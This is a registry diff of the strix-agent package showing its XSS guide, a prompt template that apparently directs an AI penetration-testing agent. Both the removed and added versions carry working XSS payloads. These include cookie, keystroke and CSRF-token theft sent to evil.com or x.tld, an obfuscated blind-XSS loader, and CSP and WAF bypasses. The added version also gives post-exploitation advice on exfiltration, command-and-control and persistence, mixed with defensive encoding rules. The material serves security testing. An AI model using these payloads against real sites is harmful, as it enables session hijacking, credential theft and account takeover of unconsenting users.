strix-agent 0.1.17__py3-none-any.whl → 0.1.19__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of strix-agent might be problematic. Click here for more details.

Files changed (41) hide show
  1. strix/agents/StrixAgent/strix_agent.py +2 -1
  2. strix/agents/StrixAgent/system_prompt.jinja +8 -10
  3. strix/agents/base_agent.py +20 -0
  4. strix/agents/state.py +18 -1
  5. strix/cli/app.py +92 -15
  6. strix/cli/main.py +81 -24
  7. strix/cli/tool_components/base_renderer.py +2 -2
  8. strix/cli/tool_components/reporting_renderer.py +2 -1
  9. strix/llm/llm.py +9 -0
  10. strix/prompts/README.md +64 -0
  11. strix/prompts/__init__.py +1 -1
  12. strix/prompts/cloud/.gitkeep +0 -0
  13. strix/prompts/custom/.gitkeep +0 -0
  14. strix/prompts/frameworks/fastapi.jinja +142 -0
  15. strix/prompts/frameworks/nextjs.jinja +126 -0
  16. strix/prompts/protocols/graphql.jinja +215 -0
  17. strix/prompts/reconnaissance/.gitkeep +0 -0
  18. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  19. strix/prompts/technologies/supabase.jinja +189 -0
  20. strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
  21. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  22. strix/prompts/vulnerabilities/business_logic.jinja +146 -118
  23. strix/prompts/vulnerabilities/csrf.jinja +137 -131
  24. strix/prompts/vulnerabilities/idor.jinja +149 -118
  25. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  26. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  27. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  28. strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
  29. strix/prompts/vulnerabilities/rce.jinja +128 -180
  30. strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
  31. strix/prompts/vulnerabilities/ssrf.jinja +118 -151
  32. strix/prompts/vulnerabilities/xss.jinja +144 -196
  33. strix/prompts/vulnerabilities/xxe.jinja +151 -243
  34. strix/tools/agents_graph/agents_graph_actions.py +4 -3
  35. strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
  36. strix/tools/registry.py +1 -1
  37. {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/METADATA +55 -16
  38. {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/RECORD +41 -28
  39. {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/LICENSE +0 -0
  40. {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/WHEEL +0 -0
  41. {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/entry_points.txt +0 -0
strix/prompts/vulnerabilities/xss.jinja CHANGED
@@ -1,221 +1,169 @@
1
1
  <xss_vulnerability_guide>
2
- <title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
2
+ <title>CROSS-SITE SCRIPTING (XSS)</title>
3
3
 
4
- <critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
4
+ <critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
5
+
6
+ <scope>
7
+ - Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
8
+ - Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
9
+ - Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
10
+ - CSP/Trusted Types interactions, bypasses, and gadget-based execution
11
+ </scope>
12
+
13
+ <methodology>
14
+ 1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
15
+ 2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
16
+ 3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
17
+ 4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
18
+ </methodology>
5
19
 
6
20
  <injection_points>
7
- - URL parameters: ?search=, ?q=, ?name=
8
- - Form inputs: text, textarea, hidden fields
9
- - Headers: User-Agent, Referer, X-Forwarded-For
10
- - Cookies (if reflected)
11
- - File uploads (filename, metadata)
12
- - JSON endpoints: {% raw %}{"user":"<payload>"}{% endraw %}
13
- - postMessage handlers
14
- - DOM properties: location.hash, document.referrer
15
- - WebSocket messages
16
- - PDF/document generators
21
+ - Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
22
+ - Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
23
+ - URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
24
+ - Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
25
+ - Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
26
+ - File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
17
27
  </injection_points>
18
28
 
19
- <basic_detection>
20
- <reflection_testing>
21
- Simple: <random123>
22
- HTML: <h1>test</h1>
23
- Script: <script>alert(1)</script>
24
- Event: <img src=x onerror=alert(1)>
25
- Protocol: javascript:alert(1)
26
- </reflection_testing>
27
-
28
- <encoding_contexts>
29
- - HTML: <>&"'
30
- - Attribute: "'<>&
31
- - JavaScript: "'\/\n\r\t
32
- - URL: %3C%3E%22%27
33
- - CSS: ()'";{}
34
- </encoding_contexts>
35
- </basic_detection>
36
-
37
- <filter_bypasses>
38
- <tag_event_bypasses>
39
- <svg onload=alert(1)>
40
- <body onpageshow=alert(1)>
41
- <marquee onstart=alert(1)>
42
- <details open ontoggle=alert(1)>
43
- <audio src onloadstart=alert(1)>
44
- <video><source onerror=alert(1)>
45
- <select autofocus onfocus=alert(1)>
46
- <textarea autofocus>/*</textarea><svg/onload=alert(1)>
47
- <keygen autofocus onfocus=alert(1)>
48
- <frameset onload=alert(1)>
49
- </tag_event_bypasses>
50
-
51
- <string_bypass>
52
- - Concatenation: 'al'+'ert'
53
- - Comments: /**/alert/**/
54
- - Template literals: `ale${`rt`}`
55
- - Unicode: \u0061lert
56
- - Hex: \x61lert
57
- - Octal: \141lert
58
- - HTML entities: &apos;alert&apos;
59
- - Double encoding: %253Cscript%253E
60
- - Case variation: <ScRiPt>
61
- </string_bypass>
62
-
63
- <parentheses_bypass>
64
- alert`1`
65
- setTimeout`alert\x281\x29`
66
- [].map.call`1${alert}2`
67
- onerror=alert;throw 1
68
- onerror=alert,throw 1
69
- onerror=alert(1)//
70
- </parentheses_bypass>
71
-
72
- <keyword_bypass>
73
- - Proxy: window['al'+'ert']
74
- - Base64: atob('YWxlcnQ=')
75
- - Hex: eval('\x61\x6c\x65\x72\x74')
76
- - Constructor: [].constructor.constructor('alert(1)')()
77
- - JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
78
- </keyword_bypass>
79
- </filter_bypasses>
29
+ <context_rules>
30
+ - HTML text: encode < > & " '
31
+ - Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
32
+ - URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
33
+ - JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
34
+ - CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
35
+ - SVG/MathML: treat as active content; many tags execute via onload or animation events
36
+ </context_rules>
37
+
38
+ <advanced_detection>
39
+ <differential_responses>
40
+ - Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
41
+ - Time-based userland probes: setTimeout gating to detect execution without visible UI
42
+ </differential_responses>
43
+
44
+ <multi_channel>
45
+ - Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
46
+ </multi_channel>
47
+ </advanced_detection>
80
48
 
81
49
  <advanced_techniques>
82
50
  <dom_xss>
83
- - Sinks: innerHTML, document.write, eval, setTimeout
84
- - Sources: location.hash, location.search, document.referrer
85
- - Example: element.innerHTML = location.hash
86
- - Exploit: #<img src=x onerror=alert(1)>
51
+ - Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
52
+ - Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
53
+ - Example vulnerable pattern:
54
+ {% raw %}
55
+ const q = new URLSearchParams(location.search).get('q');
56
+ results.innerHTML = `<li>${q}</li>`;
57
+ {% endraw %}
58
+ Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
87
59
  </dom_xss>
88
60
 
89
61
  <mutation_xss>
90
- <noscript><p title="</noscript><img src=x onerror=alert(1)>">
91
- <form><button formaction=javascript:alert(1)>
62
+ - Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
63
+ - Payloads:
64
+ {% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
65
+ <form><button formaction=javascript:alert(1)>{% endraw %}
92
66
  </mutation_xss>
93
67
 
94
- <polyglot_xss>
95
- jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
96
- </polyglot_xss>
97
-
98
- <csp_bypasses>
99
- - JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
100
- - AngularJS: {% raw %}{{constructor.constructor('alert(1)')()}}{% endraw %}
101
- - Script gadgets in allowed libraries
102
- - Base tag injection: <base href="//evil.com/">
103
- - Object/embed: <object data="data:text/html,<script>alert(1)</script>">
104
- </csp_bypasses>
68
+ <template_injection>
69
+ - Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
70
+ - Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
71
+ </template_injection>
72
+
73
+ <csp_bypass>
74
+ - Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
75
+ - Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
76
+ - Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
77
+ - Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
78
+ </csp_bypass>
79
+
80
+ <trusted_types>
81
+ - If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
82
+ - Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
83
+ </trusted_types>
84
+
85
+ <polyglot_minimal>
86
+ - Keep a compact set tuned per context:
87
+ HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
88
+ Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
89
+ Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
90
+ JS string: {% raw %}"-alert(1)-"{% endraw %}
91
+ URL: {% raw %}javascript:alert(1){% endraw %}
92
+ </polyglot_minimal>
105
93
  </advanced_techniques>
106
94
 
107
- <exploitation_payloads>
108
- <cookie_theft>
109
- <script>fetch('//evil.com/steal?c='+document.cookie)</script>
110
- <img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
111
- new Image().src='//evil.com/steal?c='+document.cookie
112
- </cookie_theft>
113
-
114
- <keylogger>
115
- document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
116
- </keylogger>
117
-
118
- <phishing>
119
- document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
120
- </phishing>
121
-
122
- <csrf_token_theft>
123
- fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
124
- </csrf_token_theft>
125
-
126
- <webcam_mic_access>
127
- navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
128
- </webcam_mic_access>
129
- </exploitation_payloads>
95
+ <frameworks>
96
+ <react>
97
+ - Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
98
+ - Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
99
+ - Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
100
+ </react>
101
+
102
+ <vue>
103
+ - Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
104
+ - Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
105
+ </vue>
106
+
107
+ <angular>
108
+ - Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
109
+ - Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
110
+ </angular>
111
+
112
+ <svelte>
113
+ - Sink: {@html} and dynamic attributes
114
+ - Defense: never pass untrusted HTML; sanitize or use text nodes
115
+ </svelte>
116
+
117
+ <markdown_richtext>
118
+ - Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
119
+ - Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
120
+ </markdown_richtext>
130
121
 
131
122
  <special_contexts>
132
- <pdf_generation>
133
- - JavaScript in links: <a href="javascript:app.alert(1)">
134
- - Form actions: <form action="javascript:...">
135
- </pdf_generation>
136
-
137
- <email_clients>
138
- - Limited tags: <a>, <img>, <style>
139
- - CSS injection: <style>@import'//evil.com/css'</style>
140
- </email_clients>
141
-
142
- <markdown>
143
- [Click](javascript:alert(1))
144
- ![a](x"onerror="alert(1))
145
- </markdown>
146
-
147
- <react_vue>
148
- - dangerouslySetInnerHTML={% raw %}{{__html: payload}}{% endraw %}
149
- - v-html directive bypass
150
- </react_vue>
151
-
152
- <file_upload_xss>
153
- - SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
154
- - HTML files
155
- - XML with XSLT
156
- - MIME type confusion
157
- </file_upload_xss>
123
+ <emails>
124
+ - Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
125
+ </emails>
126
+
127
+ <pdf_and_docs>
128
+ - PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
129
+ </pdf_and_docs>
130
+
131
+ <file_uploads>
132
+ - SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
133
+ - Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
134
+ </file_uploads>
158
135
  </special_contexts>
159
136
 
160
- <blind_xss>
161
- <detection>
162
- - Out-of-band callbacks
163
- - Service workers for persistence
164
- - Polyglot payloads for multiple contexts
165
- </detection>
166
-
167
- <payloads>
168
- '"><script src=//evil.com/blindxss.js></script>
169
- '"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
170
- </payloads>
171
- </blind_xss>
172
-
173
- <waf_bypasses>
174
- <encoding>
175
- - HTML: &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
176
- - URL: %3Cscript%3E
177
- - Unicode: \u003cscript\u003e
178
- - Mixed: <scr\x69pt>
179
- </encoding>
180
-
181
- <obfuscation>
182
- <a href="j&#x61;vascript:alert(1)">
183
- <img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
184
- <svg/onload=eval(atob('YWxlcnQoMSk='))>
185
- </obfuscation>
186
-
187
- <browser_bugs>
188
- - Chrome: <svg><script>alert&lpar;1&rpar;
189
- - Firefox specific payloads
190
- - IE/Edge compatibility
191
- </browser_bugs>
192
- </waf_bypasses>
193
-
194
- <impact_demonstration>
195
- 1. Account takeover via cookie/token theft
196
- 2. Defacement proof
197
- 3. Keylogging demonstration
198
- 4. Internal network scanning
199
- 5. Cryptocurrency miner injection
200
- 6. Phishing form injection
201
- 7. Browser exploit delivery
202
- 8. Session hijacking
203
- 9. CSRF attack chaining
204
- 10. Admin panel access
205
- </impact_demonstration>
137
+ <post_exploitation>
138
+ - Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
139
+ - Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
140
+ - Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
141
+ - Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
142
+ </post_exploitation>
143
+
144
+ <validation>
145
+ 1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
146
+ 2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
147
+ 3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
148
+ 4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
149
+ </validation>
150
+
151
+ <false_positives>
152
+ - Reflected content safely encoded in the exact context
153
+ - CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
154
+ - Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
155
+ </false_positives>
206
156
 
207
157
  <pro_tips>
208
- 1. Test in all browsers - payloads vary
209
- 2. Check mobile versions - different parsers
210
- 3. Use automation for blind XSS
211
- 4. Chain with other vulnerabilities
212
- 5. Focus on impact, not just alert(1)
213
- 6. Test all input vectors systematically
214
- 7. Understand the context deeply
215
- 8. Keep payload library updated
216
- 9. Monitor CSP headers
217
- 10. Think beyond script tags
158
+ 1. Start with context classification, not payload brute force.
159
+ 2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
160
+ 3. Keep a small, curated payload set per context and iterate with encodings.
161
+ 4. Validate defenses by configuration inspection and negative tests.
162
+ 5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
163
+ 6. Treat SVG/MathML as first-class active content; test separately.
164
+ 7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
165
+ 8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
218
166
  </pro_tips>
219
167
 
220
- <remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
168
+ <remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
221
169
  </xss_vulnerability_guide>